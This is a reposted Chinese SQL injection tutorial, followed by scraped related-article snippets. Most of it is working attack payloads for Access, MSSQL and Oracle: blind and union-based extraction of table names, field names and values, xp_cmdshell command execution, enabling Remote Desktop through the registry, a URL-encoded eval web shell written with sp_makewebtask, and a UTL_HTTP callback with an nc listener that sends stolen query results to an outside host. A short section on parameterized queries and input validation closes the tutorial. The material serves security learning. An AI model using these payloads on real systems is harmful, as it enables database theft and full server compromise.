SQL注入详解-转发

转发自飞天小子如有侵权请联系删除

1:什么是SQL注入

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

www.xx.com/news.php?id=1
 www.xx.com/news.php?id=1 and 1=1

这里我们来理解一下SQL注入

首先,SQL注入常年蝉联OWASP排行榜第一名~

SQL注入产生的过程是怎样的呢?见下图

SQL注入的危害有哪些呢?

  数据库信息泄露
  网页篡改
  网站被挂马
  数据库被恶意操作
  服务器被远程控制
  破坏硬盘数据。。。。

2 我们来学习一下sql注入的方法

2.1取消友好HTTP错误消息

一般通过远程测试判断是否存在SQL注入,所以通常没有机会通过查看源代码来复查注入的查询结构。这导致经常需要通过推理来进行大量测试

  打开IE浏览器,选择菜单“工具”->“Internet选项”对话框。
   打开“高级”选项卡,在设置列表中找到“浏览”组,
   取消勾选”显示友好HTTP错误信息”复选框 。如下图

2.2寻找SQL注入

最常用的SQL注入判断方法,在网站中寻找如下形式的网页
   www.chinaliancheng.com/*.asp?id=1
   www.chinaliancheng.com/*.aspx?id=1
   www.chinaliancheng.com/*.php?id=1
   www.chinaliancheng.com/*.jsp?id=1
单引号法
   提交单引号,页面返回错误
   and 1=1 and 1=2
  提交and 1=1 页面返回正常 ,提交and 1=2 页面返回错误

2.3确认注入点

区分数字和字符串
   数字型
   SELECT *FROM user WHERE id=1
   SELECT * FROM user WHERE id > 1
   带引号类型的
   SELECT * FROM user WHERE name = ‘admin’
   SELECT * FROM user WHERE date > ‘2017-5-3’

内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。

终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。

3:识别数据库

3.1:数据库连接运算符

www.xx.com/news.php?uid=admin
www.xx.com/news.php?uid=ad’+’min
www.xx.com/news.php?uid=ad’’min
www.xx.com/news.php?uid=ad||min

3.2 Access数据库注入

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0
  Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
  Msysobjects为Access数据库内置表

Access手工注入猜解

猜表名
   and exists(select * from 表名)
   and(select count(*) from 表名)>=0

猜字段名
   and exists(select 字段名 from 表名)
   and (select count(字段名) from 表名)>=0
猜字段长度
   and (select top 1 len(字段名) from 表名)>1
   and (select top 1 len(字段名) from 表名)>2
   and (select top 1 len(字段名) from 表名)>n

猜字段值
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

Order by 猜字段数目

  Order by 1
  Order by 2
  Order by n

Union select 获取段内容
  Union select 1,字段名,2,…,n from 表名

3.3 Mssql数据库注入

在进行MsSQL注入攻击时,首先要对MsSQL注入点进行一下基本的注入检查,以确定后面的攻击实施方案。

注入点类型的判断
   and exists (select * from sysobjects)
注入点权限判断
   and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘)) //判断是否是系统管理员
   and 1=(select IS_SRVROLEMEMBER(‘db_owner‘)) //判断是否是库权限
   and 1=(select IS_SRVROLEMEMBER(‘public‘)) //判断是否为public权限

返回信息判断
   and @@version>0 //数据库信息
   ;declare @d int //判断MsSQL支持多行语句查询
   and (select count(1) from [sysobjects])>=0 //是否支持子查询
   and user>0 //获取当前数据库用户名
   and 1=convert(int,db_name()) 或 1=(select db_name()) //当前数据库名
   and 1=(select @@servername) //本地服务名
   and 1=(select HAS_DBACCESS(‘master‘)) //判断是否有库读取权限

检查扩展存储
   检查xp_cmdshell扩展存储
   and 1=(select count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X‘ AND name = ‘xp_cmdshell‘)
   检查xp_regread扩展存储
   and 1=(select count(*) FROM master.dbo.sysobjects where name = ‘xp_regread‘)

恢复扩展存储
   删除xp_cmdshell
   exec master..sp_dropextendedproc‘xp_cmdshell‘
   创建xp_cmdshell
   exec master..sp_addextendedprocxp_cmdshell,‘xplog70.dll‘
   该语句利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell。
   如果xplog70.dll被删除或改名,可以自定义路径进行恢复:
   exec master..sp_addextendedproc‘xp_cmdshell‘,‘c:\xplog70.dll‘

Sa权限下扩展存储攻击利用方法
   Xp_cmdshell扩展执行任意命令
   执行任意命令
   ;exec master..xp_cmdshell ‘dir c:\‘
   开启3389
    exec master..xp_cmdshell ‘sc config termservice start=auto‘
    exec master..xp_cmdshell ‘net start termservice‘
    exec master..xp_cmdshell ‘reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0x0 /f‘

利用sp_makewebtash写入一句话木马
   exec sp_makewebtask
‘c:\inetpub\wwwroot\c.asp‘,‘select‘‘%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%
63%68%6F%70%70%65%72%22%29%25%3E‘‘‘

Dbowner权限下的扩展攻击利用
   判断数据库用户权限
   and 1=(select is_member(‘db_owner‘));
   搜索Web目录
   创建一个临时表
   create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULLIDENTITY(1,1));
   利用xp_dirtree扩展查询
   insert into temp(dir,depth,files)exec master.dbo.xp_dirtree ‘c:‘,1,1
   查询表中的内容
   and(select dir from temp where id=1)>0

查询暴库的另一种方法
   暴字段名和字段值
   增加数字n的值,就可以得到表中所有字段
   and (select col_name(object_id(‘表名‘),n))=0
   获取字段内容
   and (select top 1 字段名 from 表名)>0
   爆其他字段值
   and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0

3.4 Oracle数据库注入

Oracle注入点判断
   and 1=1 and 1=2
   /*
   --
   ;
   and exists(select * from dual)
   and exists(select count(*) from user_tables)>0

注入点信息判断
   确定注入点类型后,与前面的MySQL注入一样,先用order by 猜出字段数目,再用联合查询union select方法获取想要的信息。
获取数据库版本信息
   and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
获取当前数据库连接用户名
   and 1=2 union select null,null,(select SYS_CONTEXT (‘USERENV‘,‘CURRENT_USER‘) fromdual) from dual
获取系统平台
   and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual
获取服务器SID
   and 1=2 union select null,null,(select instance_namefrom v$instance) from dual

爆库名
   and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
爆出第一个库名后可以使用如下语句,继续爆其他库名
   and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>‘第一个库名‘) from dual
获取表名
   and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual
爆其他表名
   and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>‘第一个表名‘) from dual
注意:表名要用大写或大写的十六进制代码。

获取字段名
  and 1=2 union select null,null,(select column_name from user_tab_columns where table_name=‘表名‘ and rownum=1) from dual
获取其他字段名
   and 1=2 union select null,null,(select column_name from user_tab_columns where table_name=‘表名‘ and column_name<>‘第一个字段‘ and rownum=1) from dual
 获取字段内容
   and 1=2 union select null,null,字段名 from 表名

判断UTL_HTTP存储过程是否可用
   and exists(select count(*) from all_objectswhere object_name=‘UTL_HTTP‘)
监听本地端口
   nc –vv –l –p 8888
   UTL_HTTP反弹注入
   and UTL_HTTP.request(‘http://IP:端口号/‘||(查询语句))=1

4 注入工具介绍

5 防御sql注入

使用参数化查询

PHP包含很多用于访问数据库的框架。访问MySQL数据库的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP数据对象(PDO)框架,他们均为使用参数化语句提供便利。

输入验证

验证应用接收到的输入时一种可用的功能强大的控制手段(如果用的好的话)。

白名单
   使用白名单应该开了下列要点:
   数据类型:字符、数字等;
   数据大小:字符串长度是否正确,数字的大小和精度是否正确。
   数据范围:如果 是数字型,是否位于该数据类型期望的数字范围。
   数据内容:数据是否属于期望的数据类型,如手机号码,它是否瞒住期望的值。
黑名单
   黑名单验证的常用方法也是使用正则表达式。

编码输入与使用存储过程防御

除了验证应用受到的输入以外,通常还需要对在应用的不同模块或部分传递的内容进行编码。

通常会被忽视的情况是对来自数据库的信息进行编码,尤其是当正在使用的数据库未经过严格验证或审查,或者来自第三方数据源时。

将应用设计成专门使用存储过程来访问数据库是一种可以放置或减轻SQL注入影响的技术。存储
过程是保存在数据库汇总的程序。根据数据库的不同,可以使用很多不同语言及其变体来编写存储过程

传送门--渗透测试_利用Burp爆破用户名与密码

    Google 搜索引擎语法

原文地址:https://www.cnblogs.com/john-su/p/9073500.html

时间: 2025-01-07 10:34:52

SQL注入详解-转发的相关文章

【web安全】第六弹:手工SQL注入详解

前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章最后面,有兴趣的可以下载下来看. 注:本文目标读者是对SQL注入有一定了解,能使用一些工具(SQLMAP.pangolin等)进行自动化SQL注入测试,又想了解工具原理和SQL注入原理的童鞋. 0x00 基础理论篇 0x01 注入技巧&基本模式: 首先,要对下面的一些函数和基本语句有一定的了解. 1

mysql 之sql注入详解

SQL 注入( SQL Injection )攻击是发生在应用程序中的数据库层的安全漏洞.简而言之,是在输入的字符串之中注入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据. SQL 注入已经成为互联网世界 Web 应用程序的最大风险.我们有必要从开发.测试.上线各个环节对其进行防范.以下将介绍 SQL 注入的原理及如何预防 SQL 注入. SQL 注入的原理有

SQL注入详解

SQL是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手段 产生的原因 web开发人员无法保证所有输入都已经安全过滤 攻击者利用发送给SQL服务器的输入数据,构造可执行的SQL代码 数据库未做相应的安全配置 从哪里寻找SQL注入的漏洞? 识别web应用中的所有输入点:GET,POST,Header信息 了解哪些类型的请求会触发异常:特殊字符 检查服务器响应中的异常:通过响应状态码判断,例如404可能是因为GET不到资源,500可能是SQL语句出错 如何进行SQL攻击 数

Sql 注入详解:宽字节注入+二次注入

sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshell 或者直接执行系统命令 (2) 权限较小时,通过注入获得管理员密码信息,或者修改数据库内容进行钓鱼等 常出现的地方: 登录页面.获取HTTP头(user-agent.client-ip等).订单处理等,HTTP头里面client-ip 和 x-forward-for 常出现漏洞,在涉及购物车的地方

宽字节注入详解

前言 在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性. 首先,宽字节注入与HTML页面编码是无关的,笔者曾经看到 <meta charset=utf8> 就放弃了尝试,这是一个误区,SQL注入不是XSS.虽然他们中编码的成因相似,不过发生的地点不同. 很多网上的材料都说程序使用了宽字节来处理程序,却又不指出具体是指什么

Hadoop Hive sql语法详解

Hive 是基于Hadoop 构建的一套数据仓库分析系统,它提供了丰富的SQL查询方式来分析存储在Hadoop 分布式文件系统中的数据,可以将结构化的数据文件映射为一张数据库表,并提供完整的SQL查询功能,可以将SQL语句转换为MapReduce任务进行运行,通过自己的SQL 去查询分析需要的内容,这套SQL 简称Hive SQL,使不熟悉mapreduce 的用户很方便的利用SQL 语言查询,汇总,分析数据.而mapreduce开发人员可以把己写的mapper 和reducer 作为插件来支持

[顶]ORACLE PL/SQL编程详解之二:PL/SQL块结构和组成元素(为山九仞,岂一日之功)

原文:[顶]ORACLE PL/SQL编程详解之二:PL/SQL块结构和组成元素(为山九仞,岂一日之功) [顶]ORACLE PL/SQL编程详解之二: PL/SQL块结构和组成元素(为山九仞,岂一日之功) 继上四篇:ORACLE PL/SQL编程之八:把触发器说透                ORACLE PL/SQL编程之六:把过程与函数说透(穷追猛打,把根儿都拔起!)                [推荐]ORACLE PL/SQL编程之四:把游标说透(不怕做不到,只怕想不到) [推荐]

【强烈强烈推荐】《ORACLE PL/SQL编程详解》全原创(共八篇)--系列文章导航

原文:[强烈强烈推荐]<ORACLE PL/SQL编程详解>全原创(共八篇)--系列文章导航 <ORACLE PL/SQL编程详解> 系列文章目录导航 ——通过知识共享树立个人品牌. 本是成书的,但后来做其他事了,就无偿的贡献出来,被读者夸其目前为止最“实在.经典”的写ORACLE PL/SQL编程的文章-! 觉得对你有帮助,请留言与猛点推荐,谢谢. [推荐]ORACLE PL/SQL编程详解之一:PL/SQL 程序设计简介(千里之行,始于足下) 本篇主要内容如下:第一章 PL/S

[推荐]ORACLE PL/SQL编程详解之三:PL/SQL流程控制语句(不给规则,不成方圆)

原文:[推荐]ORACLE PL/SQL编程详解之三:PL/SQL流程控制语句(不给规则,不成方圆) [推荐]ORACLE PL/SQL编程详解之三: PL/SQL流程控制语句(不给规则,不成方圆) ——通过知识共享树立个人品牌. 继上五篇: [顶]ORACLE PL/SQL编程详解之二:PL/SQL块结构和组成元素(为山九仞,岂一日之功) [推荐]ORACLE PL/SQL编程之四:把游标说透(不怕做不到,只怕想不到) [推荐]ORACLE PL/SQL编程之五:异常错误处理(知已知彼.百战不